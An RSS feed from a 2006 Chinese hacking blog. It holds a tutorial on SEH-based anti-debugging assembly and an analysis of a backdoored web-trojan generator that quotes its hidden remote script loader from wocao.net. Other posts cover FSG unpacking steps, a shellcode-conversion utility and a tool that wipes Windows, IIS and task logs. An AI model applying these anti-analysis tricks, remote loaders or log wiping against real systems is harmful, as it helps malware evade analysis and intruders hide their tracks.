<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
 <channel>
  <title>在水一方</title>
  <link>http://milw0rm.blogbus.com</link>
  <description><![CDATA[找一个没有人用过的名字真是困难...]]></description>
  <generator> by blogbus.com </generator>
  <lastBuildDate>Thu, 01 Jan 1970 07:00:00 +0700</lastBuildDate>
  <image>
									<url>http://public.blogbus.com/profile/3/3/3/1187333/avatar_1187333_96.jpg</url>
									<title>在水一方</title>
									<link>http://milw0rm.blogbus.com</link>
								</image>  <item>
   <title>Seh异常原理和利用</title>
   <description><![CDATA[文章题目：Seh异常原理和利用<br />作者     ：兽人<br />日期     ：2006/05/07<br />目的     ：Seh异常在花指令里的应用<br /><br /><font color="#ff0000">www.8way.be首发</font><br /><br /><font color="#ff0000">定义：</font><br />  Seh异常就是数结构化异常处理，Win32 结构化异常处理是操作系统提供的一种服务。<br />  在编译器的 SEH 层减少了直接使用纯操作系统的 SEH 所带来的危害的同时，也将纯<br />  操作系统的 SEH 从大家的面前隐藏了起来。<br /><br />但程序遇到Seh异常时，异常交给系统处理（这将是一个非常负责的过程，很容易跟飞），所以利用Seh异常可以一定程度的防止程序被调试。（seh异常在壳里是很常见的）<br /><br /><font color="#ff0000">原理：</font><br />异常的基本过程（个人理解是这样）:<br /><img onclick="function anonymous()
{
if(this.width>=700) window.open('http://orc8way.googlepages.com/gc.JPG');
}" src="http://orc8way.googlepages.com/gc.JPG" onload="function anonymous()
{
if(this.width>'700')this.width='700';
}" border="0" /><br /><br />      <br />我们来看两个实例<br /><a href="http://orc8way.googlepages.com/seh.rar" target="_blank"><font color="#ff0000">实例文件下载</font></a><br />push 00401051               //地址00401051压入堆栈<br />push dword ptr fs:[0]         //fs[0]压入堆栈,执行完成后,fs[0]指向栈顶<br />mov dword ptr fs:[0],esp     //构造1个err结构<br />mov esi,0                     //简单的赋值语句<br />mov eax,dword ptr ds:[esi]   //产生异常<br />(OD中异常后，按shift＋F8继续运行)<br />------系统处理（非常复杂，可以自己跟跟看）-----------<br />      <font color="#ff0000">若要跟踪，先在A地址下断点</font><br />执行后,windows检查到异常,执行线程马上被中段,从用户模式转到内核模式<br />控制权交到操作系统的异常调试程序(exception dispatcher),由它负责找到<br />处理这个异常的方法,即所有应用程序的异常最终都是由windwos来处理的,<br />同一个版本的windows有固定的异常处理代码.<br />------跳到地址A--------------------------------------<br /><br /><br />lea eax,dword ptr ss:[esp-8]   //开辟8字节的空间,并把栈顶指针保存到eax<br />xchg dword ptr fs:[0],eax       //执行完成后,fs[0]指向栈顶,eax等于原fs[0]<br />mov ebx,0040102B             //地址ebx=0040102B<br />push ebx                       //ebx压入堆栈,即地址0040102b<br />push eax                       //fs[0]压入堆栈<br />mov esi,0                       //简单的赋值语句<br />mov eax,dword ptr ds:[esi]   //读取线性地址0,产生异常<br />    (OD中异常后，按shift＋F8继续运行)<br />------系统处理（非常复杂，可以自己跟跟看）-----------<br />  <font color="#ff0000">若要跟踪，先在A地址下断点</font><br />执行后,windows检查到异常,执行线程马上被中段,从用户模式转到内核模式<br />控制权交到操作系统的异常调试程序(exception dispatcher),由它负责找到<br />处理这个异常的方法,即所有应用程序的异常最终都是由windwos来处理的,<br />同一个版本的windows有固定的异常处理代码.<br />------跳到地址A--------------------------------------<br /><br /><br /><font color="#ff0000">利用：</font><br />  看了以上这些，我们知道，通过这一下段Seh异常代码，我们可以防止<br />他人跟踪，并跳到地址A（这点最重要）继续执行。我们可以把它当作jmp来使用，<br />具体的应用就看你们自己自由发挥了。<br /><br /><br />其他几个Seh异常代码（异常后跳到地址:********）<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />mov esi,0<br />mov eax,dword ptr ds:[esi]<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />mov ebx,0<br />div ebx<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />nop<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />int 3<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />nop<br />int 68<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />nop<br />vxdcall 134543<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />push ********<br />mov eax,dword ptr fs:[0]<br />push eax<br />mov dword ptr fs:[0],esp<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><a href="http://orc8way.googlepages.com/seh.rar" target="_blank">实例文件下载</a><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://zhenghome.blogbus.com/logs/50213823.html">难得糊涂</a> 2009年11月04日</div><div><a href="/logs/2561308.html">关于Realplayer牛X版网页木马生成器</a> 2006年05月28日</div><div><a href="/logs/2516935.html">再谈FSG脱壳</a> 2006年05月21日</div><div><a href="/logs/2512510.html">bin2txt 1.0</a> 2006年05月20日</div><div><a href="/logs/2512382.html">Log Cleaner V0.1 By noname</a> 2006年05月20日</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmilw0rm.blogbus.com%2Flogs%2F2618034.html&title=Seh%E5%BC%82%E5%B8%B8%E5%8E%9F%E7%90%86%E5%92%8C%E5%88%A9%E7%94%A8">Del.icio.us</a></span></div><br /><br /><div class="sysmsg"><b><a href="http://www.blogbus.com" target="_blank">博客大巴，你的个人传媒早班车</a></b></div><br /><br />]]></description>
   <link>http://milw0rm.blogbus.com/logs/2618034.html</link>
   <author>黑暗之子</author>
   <pubDate>Wed, 07 Jun 2006 10:57:02 +0800</pubDate>
  </item>
  <item>
   <title>关于Realplayer牛X版网页木马生成器</title>
   <description><![CDATA[<p>今天下载了个Realplayer牛X版网页木马生成器,打算做免杀的.</p><p>然后,发现index.htm的源代码很奇怪,好象是加密了,最下方调用了ENCODE过的JS文件.</p><p><a href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</a>这个就是改了扩展名的JS文件,一样可以用.</p><p>然后我就下载了wocao.ocx文件,解了密,还是看不懂是什么意思.</p><p>过了一会,发现<a href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</a>这个地址打不开了。很奇怪.</p><p>并且<a href="http://www.wocao.net/js/">http://www.wocao.net/js/</a>这个目录也不存在,而且需要密码.</p><p>我判断,一定是<a href="http://www.wocao.net">www.wocao.net</a>这个域名更新了指向的IP.指到一个普通的虚拟主机服务器上了.</p><p>当我把INDEX.HTM解密后,发现最下方有这么一段代码:</p><p>&lt;script src=\&quot;<a href="http://www.wocao.net/js/wocao2.ocx\">http://www.wocao.net/js/wocao2.ocx\</a>&quot; language=\&quot;JScript.Encode\&quot;&gt;&lt;/script&gt;</p><p>大家注意,这里的地址<a href="http://www.wocao.net/js/wocao2.ocx">http://www.wocao.net/js/wocao2.ocx</a>和<a href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</a>这个地址很像,但不一样的。很明显,为了迷惑大家!!!~</p><p>我正准备看<a href="http://www.wocao.net/js/wocao2.ocx">http://www.wocao.net/js/wocao2.ocx</a>的内容时,才发现,www.wocao.net已经把域名指向给换了。.</p><p>日 !! </p><p>那个wocao2.ocx代码里一定加载了木马!!!!</p><p>还有,music.smi文件的SHELLCODE也有问题。本来是256个字节长度就可以触发缓冲区溢出漏洞的，结果他却把SHELLCODE弄得好大,有1.3几KB!!!!</p><p>知道这意味着什么么?很有可能在SHELLCODE里加了另一段后门代码!!</p><p>另外,根据作者BLOG上的留言评论来看,这个网马是加了后门的。口碑不好,请大家不要使用!!!</p><p>网页木马本身的逻辑也有问题。</p><p>当我把index.htm解密后,发现,INDEX.HTM根本就没调用到MUSIC.HTM文件,可生成器却说要调用,日!!!骗局!!!</p><p>不知道他搞什么名堂...</p><p>总之,一句话,这款网页木马就是垃圾,有不止一个后门!!!!</p><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://zhenghome.blogbus.com/logs/50213823.html">难得糊涂</a> 2009年11月04日</div><div><a href="/logs/2618034.html">Seh异常原理和利用</a> 2006年06月07日</div><div><a href="/logs/2516935.html">再谈FSG脱壳</a> 2006年05月21日</div><div><a href="/logs/2512510.html">bin2txt 1.0</a> 2006年05月20日</div><div><a href="/logs/2512382.html">Log Cleaner V0.1 By noname</a> 2006年05月20日</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmilw0rm.blogbus.com%2Flogs%2F2561308.html&title=%E5%85%B3%E4%BA%8ERealplayer%E7%89%9BX%E7%89%88%E7%BD%91%E9%A1%B5%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E5%99%A8">Del.icio.us</a></span></div><br /><br /><div class="sysmsg"><b><a href="http://www.blogbus.com" target="_blank">博客大巴，你的个人传媒早班车</a></b></div><br /><br />]]></description>
   <link>http://milw0rm.blogbus.com/logs/2561308.html</link>
   <author>黑暗之子</author>
   <pubDate>Sun, 28 May 2006 21:12:32 +0800</pubDate>
  </item>
  <item>
   <title>再谈FSG脱壳</title>
   <description><![CDATA[<span style="FONT-SIZE: 12px">*************************************************************<br />现在用得多的FSG有1.33和2.0，压缩效果也还可以<br />遇到FSG加壳的程序我们一般都是拿出脱壳机解决问题<br />不过脱壳机有时候也不好用<br />在这里我总结一下1.33和2.0的脱壳<br />给像我一样的菜鸟提供一点经验<br />因为FSG是压缩壳，找到OEP运行过去DUMP＋修复就OK了<br />*************************************************************<br />FSG1.33<br />OD载入，CTRL+B搜索5655，上面紧接的转跳地址就是OEP了<br />CTRL+G直接到OEP，F4，然后DUMP并修复<br />最后就是优化一下大小<br />over<br />*************************************************************<br />FSG2.0<br />OD载入，两次F8，看右下角堆栈窗口<br />紧接LoadLibraryA上面的就是OEP值<br />CTRL+G直接到OEP，F4，然后DUMP并修复<br />最后就是优化一下大小<br />over</span> <!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://zhenghome.blogbus.com/logs/50213823.html">难得糊涂</a> 2009年11月04日</div><div><a href="/logs/2618034.html">Seh异常原理和利用</a> 2006年06月07日</div><div><a href="/logs/2561308.html">关于Realplayer牛X版网页木马生成器</a> 2006年05月28日</div><div><a href="/logs/2512510.html">bin2txt 1.0</a> 2006年05月20日</div><div><a href="/logs/2512382.html">Log Cleaner V0.1 By noname</a> 2006年05月20日</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmilw0rm.blogbus.com%2Flogs%2F2516935.html&title=%E5%86%8D%E8%B0%88FSG%E8%84%B1%E5%A3%B3">Del.icio.us</a></span></div><br /><br /><div class="sysmsg"><b><a href="http://www.blogbus.com" target="_blank">博客大巴，你的个人传媒早班车</a></b></div><br /><br />]]></description>
   <link>http://milw0rm.blogbus.com/logs/2516935.html</link>
   <author>黑暗之子</author>
   <pubDate>Sun, 21 May 2006 08:43:19 +0800</pubDate>
  </item>
  <item>
   <title>bin2txt 1.0</title>
   <description><![CDATA[<P><FONT face="verdana, tahoma, helvetica" size=2>////////////////////////////////////////////////////////////////////<BR>bin2txt Copyright (c) 2005-2006 by noname_ph4nt0m<BR>////////////////////////////////////////////////////////////////////<BR>chinese--------------------------------------------------------------<BR>Ultraedit可以把以16进制浏览任意文件<BR>可是如果只复制16进制的数据的话操作起来有点麻烦<BR>所以就有了这个软件<BR><BR>转换出来的文本格式支持C，支持汇编，也可以为bin<BR>方便大家写inc文件<BR>方便大家转换shellcode<BR>方便大家修改被写为bin格式的资源<BR>方便大家把要释放出的文件写成hex格式放在程序内部而不是资源<BR><BR>偏移的[Start]和[End]支持8进制，支持16进制，支持十进制<BR>dec example : 42 (0-7开头)<BR>hex example : 0x2a ('0x'开头)<BR>oct example : 052 ('0'开头)<BR><BR>支持对64k以上文件的处理<BR>......<BR></FONT></P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://zhenghome.blogbus.com/logs/50213823.html">难得糊涂</a> 2009年11月04日</div><div><a href="/logs/2618034.html">Seh异常原理和利用</a> 2006年06月07日</div><div><a href="/logs/2561308.html">关于Realplayer牛X版网页木马生成器</a> 2006年05月28日</div><div><a href="/logs/2516935.html">再谈FSG脱壳</a> 2006年05月21日</div><div><a href="/logs/2512382.html">Log Cleaner V0.1 By noname</a> 2006年05月20日</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmilw0rm.blogbus.com%2Flogs%2F2512510.html&title=bin2txt+1.0">Del.icio.us</a></span></div><br /><br /><div class="sysmsg"><b><a href="http://www.blogbus.com" target="_blank">博客大巴，你的个人传媒早班车</a></b></div><br /><br />]]></description>
   <link>http://milw0rm.blogbus.com/logs/2512510.html</link>
   <author>黑暗之子</author>
   <pubDate>Sat, 20 May 2006 20:11:22 +0800</pubDate>
  </item>
  <item>
   <title>Log Cleaner V0.1 By noname</title>
   <description><![CDATA[<P><FONT face=Verdana>看了WinEggDrop老大的logkiller，很是羡慕，于是偶花了一个上午写了一个差不多的<BR>"参考"了WinEggDrop的logkiller的输出语句,希望老大不要打我<BR>减肥以后不到3K了<BR><BR>很简单的小型的一个删除日志的小程序，可以删除的日志如下<BR>1.删除"应用程序日志","安全日志"和"系统日志"<BR>2.删除IIS,系统本身FTP服务，系统本身SMTP服务日志<BR>3.删除计划任务日志<BR>4.删除windir和system32下面的所有log和txt文件<BR><BR>使用方法:在命令行中直接运行<BR><BR><BR>更新<BR>*2006.5.10 第一个发行版本</FONT></P>
<P><FONT face=Verdana></FONT></P>
<P><FONT face=Verdana><STRONG>......</STRONG></FONT></P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://zhenghome.blogbus.com/logs/50213823.html">难得糊涂</a> 2009年11月04日</div><div><a href="/logs/2618034.html">Seh异常原理和利用</a> 2006年06月07日</div><div><a href="/logs/2561308.html">关于Realplayer牛X版网页木马生成器</a> 2006年05月28日</div><div><a href="/logs/2516935.html">再谈FSG脱壳</a> 2006年05月21日</div><div><a href="/logs/2512510.html">bin2txt 1.0</a> 2006年05月20日</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmilw0rm.blogbus.com%2Flogs%2F2512382.html&title=Log+Cleaner+V0.1+By+noname">Del.icio.us</a></span></div><br /><br /><div class="sysmsg"><b><a href="http://www.blogbus.com" target="_blank">博客大巴，你的个人传媒早班车</a></b></div><br /><br />]]></description>
   <link>http://milw0rm.blogbus.com/logs/2512382.html</link>
   <author>黑暗之子</author>
   <pubDate>Sat, 20 May 2006 19:40:09 +0800</pubDate>
  </item>
 </channel>
</rss>
